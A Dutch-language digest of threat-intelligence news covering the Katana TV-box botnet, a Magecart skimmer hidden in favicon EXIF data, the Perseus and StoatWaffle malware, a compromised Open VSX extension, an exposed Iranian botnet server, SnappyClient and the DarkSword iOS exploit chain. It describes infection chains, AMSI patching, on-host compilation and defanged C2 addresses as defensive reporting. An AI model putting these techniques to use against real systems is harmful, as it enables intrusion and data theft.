Nokia heeft een waarschuwing afgegeven voor de malware voor Katana, die Android tv-boxen infecteert via ADB (Android Debug Bridge) en deze gebruikt voor DDoS-aanvallen. Wereldwijd zijn er naar schatting 30.000 apparaten besmet. ADB is een tool waarmee Android-apparaten via een computer kunnen worden benaderd. Normaal gesproken is deze service niet toegankelijk via internet, maar bij de aangevallen tv-boxen is ADB wel vanaf het internet bereikbaar.

Via ADB kunnen aanvallers de malware voor Katana installeren zonder exploits te gebruiken. De aanvallers voeren verschillende maatregelen uit, zoals het koppelen van een 'locker process' aan ADB-poort 5555 en het beëindigen van nieuwe processen die niet tijdens het opstarten van het systeem aanwezig zijn. Dit voorkomt dat andere malware of forensische tools via de ADB-poort toegang krijgen. De malware schakelt meer dan honderd systeemtools uit en remapt de ADB-poort, waardoor de eigenaar geen toegang meer heeft.

Katana is gebaseerd op de malware voor Mirai, maar onderscheidt zich door een kernel-rootkit die ter plekke op het besmette systeem wordt gecompileerd. Dit is ongebruikelijk voor DDoS-botnets, aangezien rootkits vaker voorkomen bij APT-tooling en banking trojans. Mirai-varianten en andere IoT DDoS-malware maken zelden gebruik van kernelmodules.

Door de rootkit op het systeem te compileren worden compatibiliteitsproblemen voorkomen. Een vooraf gecompileerde kernel moet namelijk overeenkomen met de exacte kernelversie van het aangevallen systeem, die onder tv-boxen en firmware builds kunnen verschillen. Om dit probleem te ondervangen, gebruikt de malware de TinyCC compiler en rootkit broncode om op basis van de aanwezige kernelinformatie de rootkit ter plekke op de tv-box te compileren en installeren.

De rootkit verbergt bestanden, directories en processen voor ls en ps. Daarnaast voorkomt de rootkit het uitschakelen van de malware en het verwijderen van malware bestanden en directories. Het Katana-botnet heeft DDoS-aanvallen uitgevoerd die opliepen tot 150 Gbps. Volgens de onderzoekers gaat het waarschijnlijk om een "DDoS-for-hire service", waarbij afnemers tegen betaling DDoS-aanvallen op doelen kunnen laten uitvoeren.

Bron: Nokia | Bron 2: github.com

aanvallen met Magecart, waarbij kwaadaardige JavaScript via gecompromitteerde third-party assets wordt ingesluisd, vormen een uitdaging voor traditionele beveiligingsmethoden. Een recent voorbeeld toont aan hoe een Magecart skimmer zich verschanst in de EXIF-metadata van een dynamisch geladen favicon, waardoor repository scanners de malware niet detecteren. De aanval maakt gebruik van een loader chain in drie stappen om de payload te verbergen.

De eerste loader laadt dynamisch een script van een Shopify CDN URL. Dit script construeert vervolgens de kwaadaardige URL, die na decodering verwijst naar //b4dfa5[.]xyz/favicon.ico. Het script haalt de favicon op als binaire data, parseert de EXIF-metadata om een kwaadaardige string te extraheren en voert deze uit via `new Function()`. De uiteindelijke exfiltratie call POST de gestolen betaalgegevens naar een server onder controle van de aanvaller.

Deze techniek heeft vier belangrijke kenmerken: de initiële loader lijkt op een benigne third-party include, de payload is verborgen in binaire image metadata, exfiltratie gebeurt direct vanuit de browser van de shopper en de aanval vereist geen aanpassingen aan de broncode van de merchant.

Claude Code Security, een tool voor statische code analyse, is ontworpen om codebases te scannen en kwetsbaarheden te identificeren in de code die teams zelf schrijven. Het kan echter geen zicht krijgen op kwaadaardige code die is geïnjecteerd in third-party scripts, CDN's of tag managers die niet in de repositories zijn opgeslagen. Het kan ook geen payloads onderzoeken die zijn verborgen in binaire assets zoals favicons of afbeeldingen die geen deel uitmaken van de source tree.

Andere voorbeelden van web supply chain aanvallen zijn malicious iframe injectie, pixel tracker misbruik en DOM-based credential harvesting. Deze aanvallen vinden plaats in de browser, via assets die de merchant niet zelf heeft gemaakt.

Bron: reflectiz.com | Bron 2: thn.news

Een nieuwe Android malware, genaamd Perseus, scant gebruikersnotities op gevoelige informatie zoals wachtwoorden, herstelzinnen of financiële data. De malware wordt verspreid via onofficiële app stores, vermomd als IPTV-apps, en stelt aanvallers in staat om het apparaat volledig over te nemen, screenshots te maken en aanvallen met overlay uit te voeren. Door zich voor te doen als IPTV-apps, die vaak worden gebruikt om illegale content te streamen, vertrouwt de dreigingsactor op de bekendheid van de gebruiker met het sideloaden van APK's van buiten de Google Play Store en het negeren van beveiligingswaarschuwingen. Deze trend is de afgelopen acht maanden ontstaan, omdat gebruikers op zoek zijn naar gratis of goedkope manieren om toegang te krijgen tot live sportuitzendingen. In een recente campagne gebruikten dreigingsactoren de IPTV-app als lokaas om de Massiv Android banking malware te verspreiden.

Volgens onderzoekers van het mobiele beveiligingsbedrijf ThreatFabric richt Perseus zich voornamelijk op financiële instellingen in Turkije en Italië, evenals op cryptodiensten. Een van de apps die de malware laadt, is Roja Directa TV, een populaire sportstreamingdienst die het doelwit is geweest van auteursrechtinbreuk en acties om de dienst te sluiten. De dropper voor Perseus kan Android 13+ sideloading restricties omzeilen en is dezelfde als die voor het leveren van de Klopatra en Medusa malware.

Volgens ThreatFabric onderzoekers lijkt Perseus specifiek voort te bouwen op de Phoenix codebase, die is gemaakt van de Cerberus code, die bijna zes jaar geleden is gelekt. De onderzoekers melden dat de malware twee versies heeft, één in het Turks en een meer verfijnde in het Engels, die ook betere debugging en extra quality-of-life functies bevat. De Engelse variant bevat uitgebreide logging en emojis in de code, wat een sterke indicatie is dat AI tools zijn gebruikt in het ontwikkelingsproces. Een focus op Turkije is ook duidelijk in de lijst van beoogde financiële instellingen in het land (17), gevolgd door Italië met 15, Polen met 5, Duitsland (3) en Frankrijk (2). De malware richt zich ook op 9 cryptocurrency apps.

Door misbruik te maken van Android Accessibility Services geeft Perseus operators volledige controle over de geïnfecteerde apparaten, waardoor ze screenshots continu kunnen vastleggen en naar de operator kunnen streamen, een gestructureerde UI-hiërarchie kunnen verzenden voor programmatische interactie op afstand, tikken, swipes, tekstinvoer, lang indrukken en andere UI-navigatie acties kunnen simuleren, het scherm kunnen inschakelen, apps kunnen starten en apps kunnen blokkeren, een zwart scherm overlay kunnen inschakelen om activiteit te verbergen voor het slachtoffer en aanvallen met overlay kunnen lanceren en keylogging kunnen uitvoeren.

Een ongebruikelijke functie van Perseus richt zich op Android notitie-apps, waaronder Google Keep, Xiaomi Notes, Samsung Notes, ColorNote, Evernote, Microsoft OneNote en Simple Notes. ThreatFabric onderzoekers merken op dat dit de eerste keer is dat ze een Android malware zien die persoonlijke notities op het apparaat controleert op gevoelige details. De Engelse versie van de malware gebruikt Accessibility Services om systematisch de notitie-apps één voor één te openen en individuele notities te scannen.

Perseus voert uitgebreide anti-analyse en ontwijkingscontroles uit voordat het op een apparaat wordt uitgevoerd, waaronder root-, emulator-vingerafdrukken, SIM-gegevens, hardwareprofiel, batterijgegevens, Bluetooth-aanwezigheid, app-aantal en Google Play Services-beschikbaarheid, en formuleert een "suspicion score" die het naar het command-and-control (C2) panel stuurt. Op basis van die score beslist de operator of hij doorgaat met de gegevensdiefstal. Om het risico te minimaliseren, wordt Android-gebruikers aangeraden om het sideloaden van APK's van dubieuze bronnen te vermijden en alleen legale streaming-apps te downloaden van de officiële Android app store, Google Play. Zorg er ook voor dat Play Protect actief is en gebruik het om het apparaat regelmatig te scannen op bekende dreigingen.

Bron: ThreatFabric | Bron 2: hubs.li

Ransomware-groepen maken steeds vaker gebruik van legitieme tools, gangbare third-party applicaties en cloud services voor data-exfiltratie. Dit maakt statische Indicators of Compromise (IOC's) en tool-gebaseerde detectiemethoden minder effectief. Het Exfiltration Framework is ontwikkeld om de gedrags- en forensische kenmerken van deze tools te normaliseren. Dit maakt vergelijkingen mogelijk, ongeacht het besturingssysteem, implementatiemodel of de infrastructuur.

Door de context van de uitvoering, relaties tussen processen, netwerkcommunicatiepatronen, persistentie van artefacten en kenmerken van de bestemming te modelleren, legt het framework signalen bloot die relevant zijn voor detectie. Deze signalen blijven stabiel, zelfs als tools worden hernoemd, verplaatst of gebruikt binnen een vertrouwde infrastructuur. De analyse toont aan dat betrouwbare detectie correlatie vereist tussen endpoint-, netwerk- en cloudtelemetrie, met de nadruk op gedrags-baselining, contextuele anomalieën en cumulatieve transferanalyse in plaats van protocol-level of allow-list gebaseerde controles.

Verdedigers zijn steeds beter in staat om kwaadaardige code te detecteren, waardoor aanvallers hun afhankelijkheid van op maat gemaakte malware verminderen. Data-exfiltratie wordt niet langer primair aangedreven door custom malware of gespecialiseerde tooling, maar door legitieme, breed ingezette tools die al aanwezig zijn in bedrijfsomgevingen, samen met benigne cloudopslaglocaties als bestemming.

Het Exfiltration Framework is een defensief project dat systematisch documenteert hoe legitieme tools worden misbruikt voor data-exfiltratie. Het framework categoriseert tools op basis van exfiltratietactiek in plaats van omgeving of implementatie. Het doel is niet om aanvalstechnieken te catalogiseren, maar om te begrijpen hoe benigne utilities worden misbruikt voor data-exfiltratie en op welke telemetrie verdedigers realistisch kunnen vertrouwen voor detectie. Door te focussen op observeerbaar gedrag in plaats van de aanwezigheid van tools, ondersteunt dit onderzoek detectiestrategieën die effectief blijven, zelfs wanneer aanvallers volledig opereren binnen vertrouwde software en toegestane infrastructuur. Een secundair doel is het identificeren van gedragspatronen die terugkeren in verschillende tools en generiek kunnen worden toegepast om exfiltratieactiviteit te detecteren.

Het Exfiltration Framework is ontworpen om gedrags- en forensische kenmerken vast te leggen die direct bruikbaar zijn voor detectie, onderzoek en vergelijkende analyse. Elk tool wordt weergegeven met behulp van een gestructureerd, genormaliseerd schema dat benadrukt hoe exfiltratie-relevante kenmerken kunnen worden georganiseerd en vergeleken tussen tools.

Bron: Cisco Talos | Bron 2: github.com | Bron 3: attack.mitre.org

Unit 42, het threat intelligence team van Palo Alto Networks, heeft onderzoek gedaan naar de mate waarin large language models (LLM's) worden gebruikt bij het maken van malware. Het onderzoek omvat zowel het volledig schrijven van malware met behulp van LLM's als het assisteren bij de functionaliteit ervan. Het artikel analyseert twee samples die afkomstig zijn uit open-source intelligence (OSINT) en interne telemetrie.

De onderzoekers identificeren drie primaire use cases voor AI bij het ontwikkelen van malware: het schrijven van malware, het nemen van beslissingen op afstand (bijvoorbeeld het vervangen van een command-and-control operator), en het nemen van lokale beslissingen (bijvoorbeeld lokaal uitgevoerde agentic attack flows). Unit 42 heeft malware geanalyseerd die in de eerste twee categorieën valt: AI-geschreven malware en malware die wordt bestuurd door een AI command-and-control (C2) voor besluitvorming op afstand. Er zijn nog geen voorbeelden gevonden van de derde categorie in het wild.

Het onderzoek toont aan dat dreigingsactoren AI gebruiken om malware te schrijven, waardoor minder ervaren personen functionele malware kunnen creëren. Er zijn echter nog steeds uitdagingen bij het implementeren van lokale modellen in een doelomgeving voor kwaadaardig gebruik of het rechtstreeks inbedden ervan in een malware sample voor lokale besluitvorming en uitvoering.

De analyse richt zich op samples die AI gebruiken voor besluitvorming op afstand, waaronder:

*   **AI Theater:** .NET information stealer samples die het OpenAI GPT-3.5-Turbo model via HTTP API integreren.

*   **AI-Gated Execution:** Een malware dropper, geschreven in Golang, die een LLM gebruikt om een systeem te evalueren en te beslissen of een infectie moet worden voortgezet. Dit sample werd op X gemarkeerd als een dropper voor Sliver malware.

Palo Alto Networks klanten worden beschermd tegen de beschreven dreigingen door Advanced Threat Prevention en Advanced WildFire.

Bron: Unit 42 | Bron 2: virustotal.com | Bron 3: mastodon.social

Een populaire code editor extensie, fast-draft, die op de Open VSX-registry stond, bleek verborgen malware te bevatten. Deze malware haalde stilletjes een remote access trojan (RAT) en een infostealer op en voerde deze uit op de machines van ontwikkelaars, zonder enige zichtbare waarschuwing. De extensie, van de publisher KhangNghiempublisher account, had meer dan 26.000 downloads verzameld voordat de kwaadaardige activiteit aan het licht kwam.

De aanval vond plaats via een patroon verspreid over specifieke versies. De versies 0.10.89, 0.10.105, 0.10.106 en 0.10.112 bevatten code die een GitHub repository benaderde die beheerd werd door een dreigingsactor genaamd BlokTrooper. De extensie haalde platformspecifieke shell scripts rechtstreeks van raw.githubusercontent[.]com/BlokTrooper/extension en leidde de response direct naar een systeem shell, die vervolgens een tweede-fase malware payload downloadde en uitvoerde op de machine van het slachtoffer. Andere releases, waaronder 0.10.88, 0.10.111 en de meest recente versie 0.10.135, vertoonden dit gedrag niet, wat duidt op een gecompromitteerd publisher account of een gestolen release token in plaats van een kwaadwillende maintainer.

Analisten van Aikido ontdekten de gecompromitteerde extensie tijdens een handmatige versie-per-versie review van de fast-draft release line. Het team meldde het probleem aan de extensie maintainer op 12 maart 2026 via een publieke GitHub issue, maar het rapport had geen reactie ontvangen op het moment van publicatie. De impact van deze compromittering is groot en ernstig. Elke ontwikkelaar die een van de kwaadaardige versies had geïnstalleerd, gaf onbewust de aanvaller de volledige controle over zijn machine. De tweede-fase payload voerde vier onafhankelijke aanvalsmodules tegelijkertijd uit, gericht op browser credentials, crypto wallet data, lokale bestanden, source code en clipboard contents. Met meer dan 26.594 geregistreerde downloads op de Open VSX registry, is de potentiële blootstelling groot.

Nadat de shell downloader was uitgevoerd, haalde deze een ZIP-archief op, pakte het uit in een tijdelijke directory en startte vier losgekoppelde Node.js processen, waarbij elk een afzonderlijk deel van de algehele aanval afhandelde. De eerste module maakte verbinding met de command-and-control server op 195[.]201[.]104[.]53 over poort 6931 via Socket.IO, waardoor de aanvaller live controle kreeg over muisbewegingen, toetsenbordinvoer, screenshots en clipboard reads. De tweede module doorzocht browserprofielen op Chrome, Edge, Brave en Opera op Windows, macOS en Linux, waarbij opgeslagen wachtwoorden en webdata werden gestolen. Het richtte zich ook op 25 cryptocurrency wallet extensies, waaronder MetaMask, Phantom, Coinbase Wallet en Trust Wallet, en uploadde de verzamelde data naar poort 6936 op dezelfde C2 server. De derde module scande de home directory recursief op documenten, environment files, private keys, shell history en source code. Het sloeg opzettelijk folders over zoals .cursor, .claude en .windsurf, wat aantoont dat de aanvaller zich specifiek richtte op high-value AI-assisted developer omgevingen. De vierde module pollde het clipboard om de paar seconden en stuurde vastgelegde content, waaronder seed phrases, API keys en wachtwoorden, rechtstreeks naar /api/service/makelogon op de C2 server.

Ontwikkelaars wordt aangeraden direct te controleren op een geïnstalleerde versie van fast-draft die overeenkomt met 0.10.89, 0.10.105, 0.10.106 of 0.10.112 en deze zonder uitstel te verwijderen. Alle opgeslagen credentials, cryptocurrency wallet seed phrases en API keys op getroffen machines moeten onmiddellijk worden geroteerd. Netwerkteams moeten alle uitgaande traffic naar 195[.]201[.]104[.]53 op de poorten 6931, 6936 en 6939 blokkeren en monitoren, en alle verzoeken aan raw.githubusercontent[.]com/BlokTrooper in netwerk logs markeren.

Bron: Aikido

Een dreigingsactor met banden met Iran heeft zijn volledige werkinfrastructuur blootgelegd door achteloos een open directory op hun eigen staging server achter te laten. Dit heeft onderzoekers een zeldzame blik gegeven in een live botnetoperatie.

Het lek onthulde een 15-node relay netwerk, een massaal SSH deployment framework, DDoS tooling gecompileerd op slachtoffermachines, en een bot client met een hardcoded command-and-control (C2) adres dat nog actief in ontwikkeling is.

De blootstelling kwam aan het licht op 24 februari 2026, toen een server op IP 185.221.239[.]162, gehost op infrastructuur geregistreerd bij Dade Samane Fanava Company (PJS), een Iraanse ISP, werd gemarkeerd tijdens routine scanning.

De server bevatte 449 bestanden in 59 subdirectories, waaronder een tunnel configuratiebestand, Python-gebaseerde deployment scripts, gecompileerde DDoS binaries, C-language denial-of-service source files, en een credential list die werd gebruikt om victim systemen via SSH aan te vallen.

Analisten van Hunt.io identificeerden de blootgestelde server tijdens een routine review van Iraans gehoste infrastructuur met behulp van hun AttackCapture™ feature, die open directories op het internet indexeert.

Door te pivoteren op een gedeeld Let’s Encrypt TLS certificaat gekoppeld aan het wildcard domein *.server21[.]org, ontdekten onderzoekers 14 extra IP-adressen met dezelfde fingerprint — zeven gehost op Hetzner Online GmbH in Finland, en zeven geregistreerd bij Iraanse ISP's waaronder Dade Samane Fanava Company (PJS) en Sindad Network Technology PJSC. Het domein werd geregistreerd in 2023, met DNS gerouteerd via ArvanCloud (arvancdn[.]ir), een Iraanse CDN provider.

Dezelfde infrastructuur diende een dubbel doel. Een configuratiebestand genaamd config-client.yaml beschreef een KCP-gebaseerde packet tunnel met behulp van Paqet — een open-source tool gebouwd om Iran’s nationale internet filteringsysteem te omzeilen — waar de Iraanse server versleuteld verkeer doorstuurde naar een Hetzner exit node in Finland.

De aanwezigheid van 3x-ui, een web-based proxy panel met user account management en traffic quotas, wees op een commercieel geëxploiteerde VPN relay service die naast de aanvalsinfrastructuur draaide.

Een blootgesteld bash history bestand beschreef de werkzaamheden van de operator in drie verschillende fasen: tunnel deployment, DDoS tooling development, en botnet buildout.

Inline code comments geschreven in Farsi en ruwe Arabisch-script karakters van keyboard input errors bevestigden dat de actor waarschijnlijk in Iran is gevestigd.

DDoS targets in de history omvatten een FiveM GTA server op 5.42.223[.]60 op poort 30120 en twee HTTP/HTTPS-facing hosts, met custom C tools — syn.c, flood.c, en au.c — naast MHDDOS gekloond van GitHub en direct gecompileerd op de staging host.

De kern van de infectiemethode van dit botnet was een Python script genaamd ohhhh.py, dat credentials las geformatteerd als host:port|username|password en 500 gelijktijdige SSH sessies opende tegen victim machines tegelijk.

Zodra een sessie live was, werd het bot client source file cnc.c van de staging server getrokken, gecompileerd op de victim machine met behulp van gcc -pthread, en gelanceerd in een detached screen sessie.

Deze on-host compilatie tactiek was een duidelijke zet om binary detection te omzeilen, aangezien er nooit een pre-built executable wordt overgedragen, waardoor standaard hash-gebaseerde scanning grotendeels nutteloos is.

De gecompileerde binary werd hernoemd naar hex op geïnfecteerde hosts — een saaie naam die waarschijnlijk geen alerts zal triggeren tijdens een routine systeemcheck.

De bot client, zelf-gelabeld BOT CLIENT v1.0, registreerde elke nieuw geïnfecteerde host met een beacon die het IP-adres, de hostname en de process ID van het slachtoffer droeg als UnknownBOT ONLINE.

De ingebouwde reconnection logic van de binary betekent dat geïnfecteerde machines zullen blijven proberen de C2 te bereiken, zelfs als de staging server offline gaat.

Een secundair script, yse.py, diende als een kill switch, waardoor de operator alle actieve sessies op afstand kon wissen door pkill -9 screen uit te voeren op elke geïnfecteerde host.

Verdedigers moeten alle geïdentificeerde IP-adressen blokkeren die aan deze operatie zijn gekoppeld en controleren op de specifieke bestandsnamen en SHA-256 hashes die zijn gekoppeld aan ohhhh.py, yse.py en de cnc binary.

Het versterken van SSH-toegang — door het afdwingen van key-based authenticatie, het uitschakelen van root login en het beperken van gelijktijdige sessies — gaat de credential-driven methode waar deze actor op vertrouwde direct tegen.

Teams moeten ook onverwachte gcc compilatie activiteit op servers markeren, aangezien on-host binary building een significante indicator is dat standaard binary-level detections dit type dreiging mogelijk niet oppikken.

Bron: Hunt.io

De Noord-Koreaans gelinkte hacking groep WaterPlum heeft een nieuwe malware genaamd StoatWaffle geïntroduceerd. Deze malware wordt verspreid via gecompromitteerde Visual Studio Code (VSCode) repositories, vermomd als legitieme blockchain ontwikkelingsprojecten, om stilletjes de systemen van ontwikkelaars te infiltreren.

WaterPlum voert al enige tijd een campagne uit die bekend staat als "Contagious Interview", waarbij slachtoffers worden gelokt via valse sollicitatiegesprekken en worden misleid om schadelijke code op hun systemen uit te voeren. De groep is verdeeld in verschillende teams, waarbij Team 8, ook bekend onder de namen Moralis en Modilus, verantwoordelijk is voor deze recente golf. Team 8 gebruikte voorheen de malware familie OtterCookie als hun belangrijkste hulpmiddel. Vanaf december 2025 is het team overgeschakeld op de inzet van StoatWaffle, wat een duidelijke upgrade van hun aanvalstoolkit betekent.

Analisten van NTT Security identificeerden StoatWaffle tijdens een onderzoek naar de nieuwste activiteiten van Team 8. Hun rapport, gepubliceerd op 17 maart 2026, beschrijft StoatWaffle als een volledig modulair, Node.js-gebaseerd framework dat in fasen werkt. Het bestaat uit een loader, een module voor het stelen van inloggegevens en een remote access trojan (RAT) component. Elk van deze componenten werkt samen om aanvallers diepgaande toegang te geven tot gecompromitteerde systemen.

De aanval begint met een zorgvuldig samengestelde repository die wordt gedeeld onder ontwikkelaars. Team 8 bouwt een project dat eruitziet als een echt blockchain project en plaatst het op een plek waar ontwikkelaars het waarschijnlijk zullen ontdekken. Verborgen in het project zit een .vscode folder met een tasks.json bestand dat is geconfigureerd met een runOn: folderOpen setting. Zodra een ontwikkelaar de folder opent in VSCode en deze vertrouwt, voert de editor automatisch een vooraf ingestelde taak uit, zonder verdere actie van het slachtoffer.

Wanneer de kwaadaardige taak wordt uitgevoerd, maakt deze verbinding met een Vercel-gehoste webapplicatie en downloadt een batch script genaamd vscode-bootstrap.cmd. Dit script controleert eerst of Node.js op de machine is geïnstalleerd. Zo niet, dan downloadt en installeert het script stilletjes Node.js van de officiële Node.js website. Vervolgens haalt het een JavaScript bestand op genaamd env.npl, dat fungeert als de first-stage downloader in de StoatWaffle infectieketen. Het env.npl bestand maakt verbinding met een C2 server op 147[.]124.202.208 op poort 3000 en pollt de /api/errorMessage endpoint elke vijf seconden. Wanneer de server reageert met een error status, voert de loader de JavaScript code uit die is ingebed in die reactie, waardoor de second-stage payload wordt binnengehaald.

Ongeveer vijf minuten na deze polling cyclus arriveert de tweede downloader en begint zijn eigen loop tegen de /api/handleErrors endpoint op dezelfde server, waarbij stilletjes verborgen child processen worden gegenereerd om uit het zicht te blijven. Zodra de tweede downloader actief is, zet StoatWaffle tegelijkertijd zowel zijn Stealer als RAT modules in. De Stealer richt zich op opgeslagen browser credentials en cryptocurrency wallet extension data in Chromium-gebaseerde en Firefox browsers; op macOS verzamelt het ook de Keychain database. De RAT module wacht op commando's van de C2 server en kan bestanden weergeven, shell commando's uitvoeren, directories uploaden en zoeken naar bestanden die overeenkomen met een zoekwoord.

Het is belangrijk dat ontwikkelaars vermijden om onbekende of niet-geverifieerde VSCode repositories te vertrouwen, met name die gerelateerd zijn aan blockchain of cryptocurrency werk. VSCode workspace trust settings moeten zorgvuldig worden beoordeeld en policies die runOn: folderOpen gedrag beperken, moeten worden gehandhaafd. Security teams wordt geadviseerd om deze indicators of compromise te blokkeren: 185[.]163.125.196, 147[.]124.202.208, 163[.]245.194.216, 66[.]235.168.136, en 87[.]236.177.9. Het in de gaten houden van onverwachte Node.js installaties of verborgen child processen die vanuit VSCode worden gegenereerd, kan ook dienen als een vroege waarschuwing voor een compromis.

Bron: NTT Security | Bron 2: jp.security.ntt

Een nieuwe malware implant, SnappyClient, vormt een serieuze bedreiging voor Windows-gebruikers. De malware combineert remote access, datadiefstal en geavanceerde ontwijkingstechnieken in één compact C++ pakket. SnappyClient werd voor het eerst opgemerkt in december 2025 en fungeert als een command-and-control (C2) framework implant dat in staat is om toetsaanslagen te registreren, screenshots te maken, een remote terminal te starten en gevoelige data van browsers en applicaties te stelen, terwijl het detectie door security tools vermijdt.

De aanval begint met een valse website die zich voordoet als Telefónica. Duitstalige gebruikers die de pagina bezoeken, krijgen automatisch een HijackLoader download aangeboden. Zodra het slachtoffer dit bestand uitvoert, decrypt HijackLoader SnappyClient en laadt het direct in het geheugen. In februari 2026 werd een tweede distributiemethode waargenomen, waarbij aanvallers een ClickFix trick gebruikten die via X (voorheen Twitter) werd gedeeld, waarbij SnappyClient via GhostPulse en HijackLoader werd verspreid.

Zscaler ThreatLabz onderzoekers identificeerden SnappyClient in december 2025 tijdens het monitoren van HijackLoader activiteit. Hun analyse onthulde dat SnappyClient communiceert met zijn C2 server via TCP met behulp van een volledig custom protocol. Elk bericht is gecomprimeerd met het Snappy algoritme en versleuteld met ChaCha20-Poly1305, waardoor het netwerkverkeer moeilijker te inspecteren is.

SnappyClient richt zich op een breed scala aan applicaties voor datadiefstal. Het is gericht op tien browsers, waaronder Chrome, Firefox, Edge, Opera en Brave, waarbij opgeslagen wachtwoorden, sessie cookies en volledige browser profielen worden geoogst. De malware zoekt ook naar cryptocurrency gerelateerde extensies zoals MetaMask, Phantom, TronLink, Coinbase Wallet en TrustWallet, evenals standalone crypto applicaties zoals Exodus, Atomic, Electrum en Ledger Live. Netwerkanalyse bevestigde dat cryptocurrency diefstal het primaire financiële doel is.

Naast het stelen van data ondersteunt SnappyClient reverse proxies voor FTP, VNC, SOCKS5 en RLOGIN, waardoor aanvallers meerdere toegangspunten binnen een slachtoffer zijn netwerk krijgen. Het monitort clipboard content in real time en vervangt stilletjes Ethereum wallet adressen om crypto transacties om te leiden. Twee dynamische configuratiebestanden, EventsDB en SoftwareDB, worden door de C2 server gepusht om de implant te instrueren op welke applicaties te richten en welke acties te ondernemen.

SnappyClient haakt Windows' LoadLibraryExW functie in en monitort pogingen om amsi.dll te laden. Wanneer dit wordt gedetecteerd, patcht het AmsiScanBuffer en AmsiScanString om altijd een schoon resultaat terug te geven, waardoor Windows' Antimalware Scan Interface stilletjes wordt uitgeschakeld. Om user-mode API hooks te omzeilen die door endpoint security producten zijn geplaatst, gebruikt SnappyClient Heaven's Gate, waarbij de uitvoering wordt geschakeld tussen 32-bit en 64-bit modes om directe systeem calls uit te voeren die de gemonitorde API lagen overslaan. Het mapt ook een schone kopie van ntdll.dll in het geheugen, waardoor toegang tot core Windows functies mogelijk is zonder interferentie.

Voor persistentie registreert SnappyClient eerst een scheduled task die bij elke user logon wordt uitgevoerd. Als dat mislukt, schrijft het een autorun entry onder Software\Microsoft\Windows\CurrentVersion\Run. De implant kopieert zichzelf naar een geconfigureerd pad en start van daaruit, waarbij het originele proces wordt beëindigd. Alle gevoelige bestanden die op schijf zijn opgeslagen, inclusief het keylogger bestand, EventsDB en SoftwareDB, zijn versleuteld met ChaCha20.

Gebruikers en organisaties wordt aangeraden geen executable bestanden te downloaden van niet-geverifieerde websites, zelfs niet van websites die bekende merken lijken te vertegenwoordigen. Security teams moeten monitoren op ongebruikelijke scheduled task creatie en verdachte registry run key wijzigingen. Endpoint detection rules moeten Heaven's Gate execution patterns en transacted hollowing behavior dekken. Het updaten van browsers verlaagt het risico op App-Bound Encryption bypass. Het wordt aanbevolen om regelmatig browser extensies te controleren, vooral die welke zijn gekoppeld aan cryptocurrency wallets.

Bron: Zscaler

Een nieuw exploit kit voor Apple iOS-apparaten, genaamd DarkSword, wordt sinds november 2025 gebruikt door verschillende dreigingsactoren om gevoelige data te stelen. Dit blijkt uit rapporten van Google Threat Intelligence Group (GTIG), iVerify en Lookout. De ontdekking van DarkSword volgt kort na de vondst van Coruna, en is daarmee de tweede iOS exploit kit die binnen een maand is ontdekt.

DarkSword richt zich op iPhones met iOS versies tussen 18.4 en 18.7 en wordt vermoedelijk ingezet door de Russische spionagegroep UNC6353, in aanvallen gericht op Oekraïense gebruikers. UNC6353 is ook in verband gebracht met het gebruik van Coruna, waarbij een JavaScript framework werd geïnjecteerd in gecompromitteerde websites om Oekraïners aan te vallen.

Volgens Lookout is DarkSword erop gericht om een uitgebreide set persoonlijke informatie te verzamelen, waaronder inloggegevens en data van crypto wallet apps, wat wijst op een financieel gemotiveerde dreigingsactor. DarkSword hanteert een 'hit-and-run' aanpak, waarbij de beoogde data binnen enkele seconden of minuten wordt verzameld en geëxfiltreerd, waarna de sporen worden gewist.

Exploit chains zoals Coruna en DarkSword zijn ontworpen om volledige toegang te krijgen tot het apparaat van een slachtoffer, met minimale interactie van de gebruiker. Dit toont aan dat er een markt is voor exploits waarmee dreigingsgroepen met beperkte middelen "top-of-the-line exploits" kunnen aanschaffen en gebruiken om mobiele apparaten te infecteren.

De exploit chain van DarkSword maakt gebruik van zes verschillende kwetsbaarheden om drie payloads te implementeren, waaronder de zero days CVE-2026-20700, CVE-2025-43529 en CVE-2025-14174, die door Apple zijn gepatcht:

*   CVE-2025-31277 - Memory corruption kwetsbaarheid in JavaScriptCore (gepatcht in versie 18.6)

*   CVE-2026-20700 - User-mode Pointer Authentication Code (PAC) bypass in dyld (gepatcht in versie 26.3)

*   CVE-2025-43529 - Memory corruption kwetsbaarheid in JavaScriptCore (gepatcht in versies 18.7.3 en 26.2)

*   CVE-2025-14174 - Memory corruption kwetsbaarheid in ANGLE (gepatcht in versies 18.7.3 en 26.2)

*   CVE-2025-43510 - Memory management kwetsbaarheid in de iOS kernel (gepatcht in versies 18.7.2 en 26.1)

*   CVE-2025-43520 - Memory corruption kwetsbaarheid in de iOS kernel (gepatcht in versies 18.7.2 en 26.1)

Lookout ontdekte DarkSword na een analyse van kwaadaardige infrastructuur van UNC6353. Een van de gecompromitteerde domeinen hostte een kwaadaardig iFrame element dat verantwoordelijk is voor het laden van JavaScript om apparaten te identificeren en te bepalen of het doelwit naar de iOS exploit chain moet worden geleid. De exacte methode waarmee de websites zijn geïnfecteerd, is nog onbekend. De JavaScript code was specifiek gericht op iOS-apparaten met versies tussen 18.4 en 18.6.2.

De aanval begint wanneer een gebruiker via Safari een webpagina bezoekt met een iFrame die JavaScript bevat. DarkSword kan de WebContent sandbox doorbreken en WebGPU gebruiken om code te injecteren in mediaplaybackd, een systeem daemon die door Apple is geïntroduceerd voor media playback functies. Hierdoor kan de GHOSTBLADE dataminer toegang krijgen tot bevoorrechte processen en delen van het bestandssysteem. Na een succesvolle privilege escalation wordt een orchestrator module gebruikt om componenten te laden die gevoelige data verzamelen en een exfiltration payload in Springboard injecteren om de data naar een externe server te verzenden via HTTP(S).

De gestolen data omvat e-mails, iCloud Drive bestanden, contacten, SMS berichten, Safari browsergeschiedenis en cookies, cryptocurrency wallet data, gebruikersnamen, wachtwoorden, foto's, gespreksgeschiedenis, Wi-Fi configuratie en wachtwoorden, locatiegeschiedenis, agenda, mobiele en SIM informatie, een lijst van geïnstalleerde apps, data van Apple apps zoals Notes en Health, en berichtgeschiedenissen van apps zoals Telegram en WhatsApp.

iVerify stelde vast dat de exploit chain JavaScriptCore JIT kwetsbaarheden in het Safari renderer proces (CVE-2025-31277 of CVE-2025-43529) misbruikt om remote code execution te bereiken via CVE-2026-20700, en vervolgens de sandbox te ontvluchten via het GPU proces met behulp van CVE-2025-14174 en CVE-2025-43510.

In de laatste fase wordt een kernel privilege escalation flaw (CVE-2025-43520) gebruikt om arbitrary read/write en arbitrary function call mogelijkheden te verkrijgen binnen mediaplaybackd, en uiteindelijk de geïnjecteerde JavaScript code uit te voeren.

